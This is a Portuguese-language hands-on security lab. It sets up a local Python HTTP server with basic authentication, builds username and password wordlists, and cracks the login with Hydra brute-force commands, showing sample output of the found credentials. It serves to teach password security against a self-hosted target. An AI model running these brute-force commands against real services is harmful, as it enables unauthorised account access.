Atacar Serviços HTTP com Hydra

Introdução

Neste laboratório, você aprenderá como conduzir ataques de força bruta em serviços HTTP usando o Hydra, uma ferramenta versátil para quebrar senhas. Você explorará a configuração de um servidor HTTP Python com autenticação básica e testará sua segurança através de ataques sistemáticos de credenciais.

O exercício cobre a criação de wordlists (listas de palavras), a configuração de parâmetros do Hydra e a análise dos resultados dos ataques para identificar vulnerabilidades de autenticação. Esta sessão prática demonstra técnicas essenciais para avaliar a segurança de serviços web contra tentativas de força bruta.

Instalar um Servidor HTTP Local

Nesta etapa, você instalará um servidor HTTP local usando o módulo embutido do Python. Este servidor simulará um servidor web real com autenticação básica, que usaremos como alvo para nosso ataque de força bruta com Hydra mais tarde. Compreender como os servidores web funcionam é fundamental antes de tentar testar sua segurança.

O módulo http.server do Python fornece uma maneira rápida de criar um servidor web básico para fins de teste. Embora não seja adequado para produção, é perfeito para nosso laboratório, pois demonstra os fundamentos do protocolo HTTP sem uma configuração complexa. O servidor será executado na porta 8000 por padrão.

1. Primeiro, navegue até o diretório do seu projeto. Isso garante que todos os arquivos sejam organizados em um só lugar:

cd ~/project

2. Crie um diretório dedicado para os arquivos do seu servidor web. Manter o conteúdo web separado ajuda a manter a organização:

mkdir http_server
cd http_server

3. Crie uma página inicial simples. Este arquivo HTML será servido quando alguém acessar seu servidor web:

echo "<h1>Welcome to LabEx HTTP Server</h1>" > index.html

4. Inicie o servidor HTTP Python. O símbolo & o executa em segundo plano para que você possa continuar usando o terminal:

python3 -m http.server 8000 &

Pressione Enter, se quiser continuar usando o terminal.

5. Verifique se o servidor está em execução. O comando netstat mostra as conexões de rede ativas e as portas em escuta:

netstat -tulnp | grep 8000

Você deve ver a saída confirmando que o Python está ouvindo na porta 8000:

tcp    0    0 0.0.0.0:8000    0.0.0.0:*    LISTEN    1234/python3

6. Teste a funcionalidade do servidor. O comando curl recupera a página web para confirmar que tudo funciona:

curl http://localhost:8000

Você deve receber o conteúdo HTML que criou, provando que o servidor está operacional:

<h1>Welcome to LabEx HTTP Server</h1>

Com o servidor web básico em execução, estamos prontos para implementar a autenticação na próxima etapa. Esta base é crucial porque o Hydra irá interagir com este servidor exatamente como faria com qualquer servidor web real usando autenticação básica.

Configurar o Servidor HTTP com Autenticação Básica

Nesta etapa, você configurará a autenticação básica para o servidor HTTP que você instalou anteriormente. A autenticação básica é um método simples onde o cliente envia um nome de usuário e senha com cada solicitação. Isso cria uma camada de segurança que testaremos mais tarde, tentando forçá-la usando o Hydra - o que demonstra por que senhas fracas são perigosas.

1. Primeiro, certifique-se de estar no diretório correto onde configuraremos nosso servidor web protegido:

cd ~/project/http_server

2. Crie um arquivo de senha usando o utilitário htpasswd. Esta ferramenta vem com o pacote apache2-utils (já instalado na VM LabEx) e ajuda a gerenciar arquivos de senha para autenticação básica:

htpasswd -c .htpasswd admin

Quando solicitado, insira password123 como a senha. Estamos intencionalmente usando uma senha fraca aqui para demonstrar como senhas simples podem ser facilmente quebradas.

3. Agora, criaremos um script Python para servir conteúdo HTTP com autenticação básica. Este script verificará as credenciais antes de permitir o acesso:

nano auth_server.py

4. Cole o seguinte código Python. Isso cria um servidor HTTP personalizado que:
   • Requer Autenticação Básica
   • Valida as credenciais em relação ao nosso arquivo .htpasswd
   • Serve conteúdo somente após autenticação bem-sucedida

from http.server import HTTPServer, BaseHTTPRequestHandler
import base64

class AuthHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        auth_header = self.headers.get('Authorization')
        if not auth_header or not auth_header.startswith('Basic '):
            self.send_response(401)
            self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            self.wfile.write(b'Authentication required')
            return

        auth_decoded = base64.b64decode(auth_header[6:]).decode('utf-8')
        username, password = auth_decoded.split(':', 1)

        if username == 'admin' and password == 'password123':
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            with open('index.html', 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(401)
            self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
            self.end_headers()
            self.wfile.write(b'Authentication failed')

if __name__ == '__main__':
    server_address = ('', 8000)
    httpd = HTTPServer(server_address, AuthHandler)
    print("Server running on port 8000...")
    httpd.serve_forever()

5. Salve o arquivo (Ctrl+O, Enter, Ctrl+X no nano) e pare o servidor HTTP anterior que não tinha autenticação:

pkill -f "python3 -m http.server"

6. Inicie nosso novo servidor HTTP autenticado em segundo plano:

python3 auth_server.py &

7. Vamos testar a autenticação tentando acessar o servidor sem credenciais:

curl -v http://localhost:8000

Você deve receber uma resposta 401 Unauthorized, o que significa que nossa autenticação está funcionando.

8. Agora tente acessar com as credenciais corretas que configuramos anteriormente:

curl -v -u admin:password123 http://localhost:8000

Você deve agora ver o conteúdo HTML do seu arquivo index.html, provando que a autenticação funciona corretamente.

O servidor agora está devidamente protegido com autenticação básica e pronto para nossa demonstração de ataque de força bruta nas próximas etapas. Esta configuração imita cenários do mundo real onde os servidores web usam autenticação básica, mostrando como ela funciona e suas potenciais vulnerabilidades.

Preparar Listas de Nomes de Usuário e Senhas

Nesta etapa, você criará wordlists que o Hydra usará para testar possíveis combinações de nome de usuário e senha contra a autenticação básica HTTP. Essas listas formam a base de um ataque de dicionário, onde tentamos sistematicamente credenciais comuns em vez de adivinhar aleatoriamente.

1. Primeiro, navegue até o diretório do seu projeto. Isso garante que todos os seus arquivos permaneçam organizados em um só lugar:

cd ~/project

2. Crie um diretório dedicado para suas wordlists. Mantê-las separadas facilita o gerenciamento:

mkdir wordlists
cd wordlists

3. Crie um arquivo de lista de nomes de usuário usando nano, um editor de texto simples. Vamos preenchê-lo com nomes de usuário administrativos comuns que são frequentemente usados como padrões:

nano usernames.txt

Adicione estes nomes de usuário comuns (um por linha):

admin
root
user
test
guest
administrator

4. Da mesma forma, crie um arquivo de lista de senhas. Estas são senhas que são comumente usadas ou fáceis de adivinhar:

nano passwords.txt

Adicione estas senhas comuns (uma por linha):

password123
password
123456
admin
letmein
qwerty

5. Verifique o conteúdo de seus arquivos para garantir que foram criados corretamente. O comando cat exibe o conteúdo do arquivo no terminal:

cat usernames.txt
cat passwords.txt

6. (Opcional) Gere senhas adicionais usando o crunch, um gerador de wordlist. Este comando cria até 100 combinações de números de 4 dígitos, o que é útil para testar senhas numéricas simples:

crunch 4 4 0123456789 | head -n 100 > numbers.txt

7. Combine suas listas de senhas em um único arquivo. Isso dá ao Hydra mais variações para testar durante o ataque:

cat passwords.txt numbers.txt > combined_passwords.txt

8. Verifique a lista de senhas combinada. O comando head mostra apenas as primeiras 10 linhas, dando a você uma verificação rápida de que a mesclagem funcionou:

head combined_passwords.txt

Você deve ver uma saída como:

password123
password
123456
admin
letmein
qwerty
0000
0001
0002
0003

Essas wordlists contêm tanto as credenciais corretas (admin/password123) que configuramos anteriormente quanto muitas combinações incorretas. Esta configuração simula realisticamente como um invasor tentaria forçar uma entrada tentando inúmeras credenciais possíveis. Na próxima etapa, usaremos o Hydra para automatizar o teste dessas combinações contra nosso servidor HTTP.

Executar Ataque Hydra no Serviço HTTP

Nesta etapa, você usará o Hydra para realizar um ataque de força bruta contra o serviço de autenticação básica HTTP que você configurou anteriormente. Hydra é uma poderosa ferramenta de quebra de senhas que tenta sistematicamente todas as combinações de nome de usuário/senha de wordlists para encontrar credenciais válidas. Isso demonstra por que senhas fracas são vulneráveis a ataques automatizados.

1. Primeiro, certifique-se de que seu servidor HTTP ainda está em execução. Este comando verifica se o processo do servidor existe e o reinicia, se necessário:

pgrep -fa "python3 auth_server.py" || cd ~/project/http_server && python3 auth_server.py &

2. Navegue até o diretório de suas wordlists onde você armazenou os arquivos de nome de usuário e senha. Esses arquivos contêm as combinações que o Hydra testará:

cd ~/project/wordlists

3. Execute o Hydra com este comando para atacar o serviço HTTP. A flag -L especifica a lista de nomes de usuário, -P a lista de senhas, e http-get / indica que estamos atacando uma solicitação GET HTTP básica:

hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /

4. Observe a saída do Hydra enquanto ele tenta combinações. Quando for bem-sucedido, você verá a saída mostrando quais credenciais funcionaram:

[DATA] attacking http-get://localhost:8000/
[8000][http-get] host: localhost   login: admin   password: password123
1 of 1 target successfully completed, 1 valid password found

5. Para ver uma saída mais detalhada, incluindo cada tentativa que o Hydra faz, adicione a flag -v (verbose):

hydra -v -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /

6. (Opcional) Salve os resultados em um arquivo para análise posterior. A flag -o especifica o arquivo de saída:

hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get / -o hydra_results.txt

7. Verifique o arquivo de resultados salvo para ver as credenciais bem-sucedidas:

cat hydra_results.txt

O ataque deve encontrar com sucesso as credenciais (admin/password123) que configuramos anteriormente. Isso mostra a rapidez com que credenciais fracas podem ser descobertas por meio de ataques automatizados de força bruta, enfatizando a importância de senhas fortes.

Resumo

Neste laboratório, você aprendeu como configurar um servidor HTTP local com Python e implementar autenticação básica para fins de teste de segurança. O processo incluiu a criação de diretórios web, a configuração da autenticação com htpasswd e a verificação da funcionalidade do servidor usando ferramentas comuns como curl.

Além disso, você adquiriu experiência prática na preparação de listas de credenciais e na execução de ataques de força bruta contra serviços HTTP usando o Hydra. Este exercício demonstrou a importância de senhas fortes e as vulnerabilidades dos mecanismos de autenticação básica quando credenciais fracas são usadas.